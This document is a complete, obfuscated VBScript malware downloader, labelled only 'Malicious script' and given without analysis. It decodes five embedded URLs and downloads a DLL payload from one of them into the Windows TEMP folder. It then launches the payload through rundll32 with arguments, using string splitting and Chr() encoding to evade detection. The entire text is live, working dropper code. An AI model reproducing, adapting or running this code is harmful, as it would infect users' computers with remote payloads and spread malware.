Malicious script

On Error Resume Next
Const Rv5h5i0k5p4 = 1, ECi1q9j5n6t2 = 2, Nl0r5e4i0g5 = 8
Const Tf5d1h8l8w8 = 1, Jv0x6w7t6c3 = 2, QZf6c8u7l5f0 = "437", BXh8q2v4w5z5 = 2
Function Bl4t5r0i1e9(Fv9e9y4c1g9)
Dim Xt8o8f7y3d6, At9i4m5e3u5, Xw9n5b2r3s3
Set Xt8o8f7y3d6 = CreateObject("ADO"&"DB.Stream")
Xt8o8f7y3d6.type = Jv0x6w7t6c3
Xt8o8f7y3d6.Charset = QZf6c8u7l5f0
Xt8o8f7y3d6.Open
Xt8o8f7y3d6.LoadFromFile Fv9e9y4c1g9
Xw9n5b2r3s3 = Xt8o8f7y3d6.ReadText
Xt8o8f7y3d6.Close
Bl4t5r0i1e9 = RVu2q1z1c0a7(Xw9n5b2r3s3)
End Function
Sub Lh3s4l5l8e0(Fv9e9y4c1g9, Sk7x2y6a5a6)
Dim Xt8o8f7y3d6, Xw9n5b2r3s3
Set Xt8o8f7y3d6 = CreateObject("AD"&"ODB.Stream")
Xt8o8f7y3d6.type = Jv0x6w7t6c3
Xt8o8f7y3d6.Charset = QZf6c8u7l5f0
Xt8o8f7y3d6.Open
Xw9n5b2r3s3 = Mh3x8t2w7s4(Sk7x2y6a5a6)
Xt8o8f7y3d6.WriteText Xw9n5b2r3s3
Xt8o8f7y3d6.SaveToFile Fv9e9y4c1g9, BXh8q2v4w5z5
Xt8o8f7y3d6.Close
End Sub
Function Gy2r4m8v9v6(Bn5k1c7z6z5)
Dim Xw9n5b2r3s3, IKr9a2y0a5j9(0)
If Bn5k1c7z6z5 <= 0 Then
Err.Raise 50001, "", "qqqq", "", 0
ElseIf Bn5k1c7z6z5 = 1 Then
Gy2r4m8v9v6 = IKr9a2y0a5j9
Else
Xw9n5b2r3s3 = Space(Bn5k1c7z6z5-1)
Gy2r4m8v9v6 = Split(Xw9n5b2r3s3, " ")
End If
End Function
Function BCr1v0l5c8g5(Fk9j1v0p7l3)
Dim Iz3v0l3j1a1, HUh0i1z9q7g4, At9i4m5e3u5, JWw7w5w3u6o8
Dim YHp5y6z3v4q4, KUd3g8r1s6v2(1)
Set Iz3v0l3j1a1 = CreateObject("Scrip"&"ting.FileSystemObject")
KUd3g8r1s6v2(0) = "WinHttp.WinH"&"ttpRequest.5.1"
KUd3g8r1s6v2(1) = "MSXML2.XML"&"HTTP"
For Each YHp5y6z3v4q4 in KUd3g8r1s6v2
Err.Clear
Set HUh0i1z9q7g4 = CreateObject(YHp5y6z3v4q4)
If Err.Number = 0 Then
Exit For
End If
Next
If 8=8 Then
HUh0i1z9q7g4.Open "GE"&"T", Fk9j1v0p7l3, False
End If
HUh0i1z9q7g4.Send
At9i4m5e3u5 = Gy2r4m8v9v6(LenB(HUh0i1z9q7g4.ResponseBody))
For JWw7w5w3u6o8 = 1 To LenB(HUh0i1z9q7g4.ResponseBody)
At9i4m5e3u5(JWw7w5w3u6o8-1) = AscB(MidB(HUh0i1z9q7g4.ResponseBody, JWw7w5w3u6o8, 1))
Next
BCr1v0l5c8g5 = At9i4m5e3u5
End Function
Sub Nz7k3t7g3a1( Cm7n0l9x9v5, FYc9e1v7b1e0 )
Dim JWw7w5w3u6o8, IEi1c2a1a8u2, Iz3v0l3j1a1, HUh0i1z9q7g4, Kk0o3l9i3m1
Set Iz3v0l3j1a1 = CreateObject( "Scrip"&"ting.FileSystemObject" )
If Iz3v0l3j1a1.FolderExists( FYc9e1v7b1e0 ) Then
Kk0o3l9i3m1 = Iz3v0l3j1a1.BuildPath( FYc9e1v7b1e0, Mid( Cm7n0l9x9v5, InStrRev( Cm7n0l9x9v5, "/" ) + 1 ) )
ElseIf Iz3v0l3j1a1.FolderExists( Left( FYc9e1v7b1e0, InStrRev( FYc9e1v7b1e0, "\" ) - 1 ) ) Then
Kk0o3l9i3m1 = FYc9e1v7b1e0
Else
Exit Sub
End If
Set IEi1c2a1a8u2 = Iz3v0l3j1a1.OpenTextFile( Kk0o3l9i3m1, ECi1q9j5n6t2, True )
Set HUh0i1z9q7g4 = CreateObject( "WinHttp.WinHttp"&"Request.5.1" )
HUh0i1z9q7g4.Open "G"&"ET", Cm7n0l9x9v5, False
HUh0i1z9q7g4.Send
If LenB(HUh0i1z9q7g4.ResponseBody) < 100000 Or LenB(HUh0i1z9q7g4.ResponseBody) > 250000 Then
Err.Raise 50011, "", "qqqq", "", 0
Exit Sub
End If
For JWw7w5w3u6o8 = 1 To LenB( HUh0i1z9q7g4.ResponseBody )
IEi1c2a1a8u2.Write Chr( AscB( MidB( HUh0i1z9q7g4.ResponseBody, JWw7w5w3u6o8, 1 ) ) )
Next
If 8=8 Then
IEi1c2a1a8u2.Close( )
End If
End Sub
Function Pv0a8n6g5v4()
Dim EZf5v6c8r2a8, Jd3q5u3r2z0, FMw4p1c2u1x5
Set EZf5v6c8r2a8 = CreateObject(Chr(87)+Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108))
If 8=8 Then
Set Jd3q5u3r2z0 = EZf5v6c8r2a8.Environment("System")
End If
FMw4p1c2u1x5 = Jd3q5u3r2z0("PROCESSOR_"&"ARCHITECTURE")
If LCase(FMw4p1c2u1x5) = Chr(97) & "md6"& Chr(34) Then
Pv0a8n6g5v4 = EZf5v6c8r2a8.ExpandEnvironmentStrings("%SystemRoot%\Sy"&"sWOW64\rundll32.e"&"xe")
Else
Pv0a8n6g5v4 = EZf5v6c8r2a8.ExpandEnvironmentStrings("%SystemRoot"&"%\system32\rundll32.e"&"xe")
End If
End Function
Sub Xd4l3m8o1v8(Vh9n6b5o9t6, LAi2q6i0o9v5, Eq1t0n9v2y8)
Dim EZf5v6c8r2a8, Iz3v0l3j1a1, IEi1c2a1a8u2, WKw2a7v0n6q7, WXm6i4u5t3c8
Set EZf5v6c8r2a8 = CreateObject("WScr"&"ipt"&".S"&"hell")
Set Iz3v0l3j1a1 = CreateObject("Scrip"&"ting.FileSystemObject")
Set IEi1c2a1a8u2 = Iz3v0l3j1a1.GetFile(Vh9n6b5o9t6)
WKw2a7v0n6q7 = IEi1c2a1a8u2.ShortPath
WXm6i4u5t3c8 = Pv0a8n6g5v4() + " " + WKw2a7v0n6q7 + "," + LAi2q6i0o9v5 + " " + Eq1t0n9v2y8
If 8=8 Then
EZf5v6c8r2a8.Run(WXm6i4u5t3c8)
End If
End Sub
Function Ad4b1n4q7z5(Vh9n6b5o9t6)
Dim Iz3v0l3j1a1
Set Iz3v0l3j1a1 = CreateObject("Scrip"&"ting.FileSystemObject")
Ad4b1n4q7z5 = Iz3v0l3j1a1.FileExists(Vh9n6b5o9t6)
End Function
Function Zx4v2w0r4u0(Vh9n6b5o9t6)
Dim Iz3v0l3j1a1, IEi1c2a1a8u2
Set Iz3v0l3j1a1 = CreateObject("Scrip"&"ting.FileSystemObject")
Set IEi1c2a1a8u2 = Iz3v0l3j1a1.GetFile(Vh9n6b5o9t6)
Zx4v2w0r4u0 = IEi1c2a1a8u2.ShortPath
End Function
Function Re8a1r0o6e1(Rq2b7l1n2y6, TZd1g6d1o3r2)
Dim Bn5k1c7z6z5
Bn5k1c7z6z5 = CDbl(Int(CDbl(Rq2b7l1n2y6)/CDbl(TZd1g6d1o3r2)))
Re8a1r0o6e1 = CDbl(Rq2b7l1n2y6) - Bn5k1c7z6z5 * CDbl(TZd1g6d1o3r2)
End Function
Function Md2j7u6u1i0(Zz7v7s1x7d5, Xw9n5b2r3s3)
Xw9n5b2r3s3(1) = 172 * Xw9n5b2r3s3(1) Mod 30307
Xw9n5b2r3s3(0) = 171 * Xw9n5b2r3s3(0) Mod 30269
Xw9n5b2r3s3(2) = 170 * Xw9n5b2r3s3(2) Mod 30323
Dim Od5t0s3j9r6
Od5t0s3j9r6 = Re8a1r0o6e1((CDbl(Xw9n5b2r3s3(0))/30269.0 + CDbl(Xw9n5b2r3s3(1))/30307.0 + CDbl(Xw9n5b2r3s3(2))/30323.0), 1.0)
Md2j7u6u1i0 = Int(Od5t0s3j9r6 * CDbl(Zz7v7s1x7d5))
End Function
Function NHi6u0v5e9c1(SDs8s0h3q2t3)
NHi6u0v5e9c1 = CInt(SDs8s0h3q2t3*Rnd())
End Function
Sub MRc3u4f8f1p5(Qe7z5e4c3o0)
WScript.Sleep(Qe7z5e4c3o0)
End Sub
Sub TSa5t4w9r4j5(Nk9k2y9e6s1)
WScript.Quit(Nk9k2y9e6s1)
End Sub
Randomize
Dim DZe6j2w7j5r8(2), Qt5h4g3u5j2, ALo0k4j3l5o6(4), Fv9e9y4c1g9
DZe6j2w7j5r8(0)=0+14413
DZe6j2w7j5r8(1)=0+15337
DZe6j2w7j5r8(2)=0+15163
Qt5h4g3u5j2 = 1
ALo0k4j3l5o6(0) = ""+"h"+Chr(116)+Chr(116)+"p:"+"/"+"/"+ "c" & chR(111) & "a" & chR(99) & "h" & "a" & "t" & "e" & "l" & "i" & "e" & "r" & chR(46) & "n" & "l" & "/" & "l" & "g" & "8" & "s" & "2"

ALo0k4j3l5o6(1) = ""+"h"+Chr(116)+Chr(116)+"p:"+"/"+"/"+ "b" & chR(101) & "c" & "h" & "s" & "a" & "u" & "t" & "o" & "m" & "o" & "b" & "i" & "l" & "e" & "r" & "." & chR(100) & "k" & chR(47) & "m" & chR(56) & "i" & "d" & "i" & "9" & "j"

ALo0k4j3l5o6(2) = ""+"h"+Chr(116)+Chr(116)+"p:"+"/"+"/"+ "d" & "e" & "s" & "e" & "r" & "t" & "k" & chR(105) & "n" & "g" & "w" & "a" & "t" & "e" & "r" & chR(112) & "r" & "o" & "o" & "f" & "i" & chR(110) & "g" & "." & chR(99) & "o" & "m" & "/" & "m" & "a" & "4" & "5" & "6" & "2"

ALo0k4j3l5o6(3) = ""+"h"+Chr(116)+Chr(116)+"p:"+"/"+"/"+ chR(122) & "a" & "p" & "a" & "s" & "h" & "y" & "d" & "r" & "o" & "." & "n" & "e" & "t" & "/" & "6" & chR(115) & "g" & chR(116) & "o" & "2" & "b" & "d"

ALo0k4j3l5o6(4) = ""+"h"+Chr(116)+Chr(116)+"p:"+"/"+"/"+ "o" & "w" & "k" & "c" & "o" & "n" & "." & "c" & "o" & "m" & "/" & "6" & "x" & "g" & "o" & "h" & "g" & "6" & "i"

Fv9e9y4c1g9 = "Z6uBMrbyqhs"
Dim EZf5v6c8r2a8, IVr6o1p3r6l7, VKq6s6r7i0o2, LZe1c7b8o0k2, Qe7z5e4c3o0, HFt4k4c2m5r4
Set objShell = CreateObject("WS"&"cript.S"&"hell")
IVr6o1p3r6l7 = objShell.ExpandEnvironmentStrings("%" & "T"&"EM"&"P%")
HFt4k4c2m5r4 = "txt"
Dim Jz3j8p0i0l9, PZy6t5m4r1m5, STk3e6y8i6d0, Nw0q9o9m6w1, JWw7w5w3u6o8
PZy6t5m4r1m5 = False
For JWw7w5w3u6o8=0 To 5
VKq6s6r7i0o2 = IVr6o1p3r6l7 & "\" + Fv9e9y4c1g9 + Chr(48+JWw7w5w3u6o8) + "."+"d"&"l"+"l"
If Ad4b1n4q7z5(VKq6s6r7i0o2) Then
LZe1c7b8o0k2 = Zx4v2w0r4u0(VKq6s6r7i0o2) & "." + HFt4k4c2m5r4
If Ad4b1n4q7z5(LZe1c7b8o0k2) Then
WScript.Quit(0)
End If
End If
If Not PZy6t5m4r1m5 Then
Jz3j8p0i0l9 = NHi6u0v5e9c1(UBound(ALo0k4j3l5o6))
Nz7k3t7g3a1 ALo0k4j3l5o6(Jz3j8p0i0l9), VKq6s6r7i0o2
If Err.Number <> 0 Then
WScript.Quit(0)
End If
PZy6t5m4r1m5 = True
End If
Xd4l3m8o1v8 VKq6s6r7i0o2, "bb"&"b", "41"&"7"
TSa5t4w9r4j5 1
Next
If 8=8 Then
TSa5t4w9r4j5 0
End If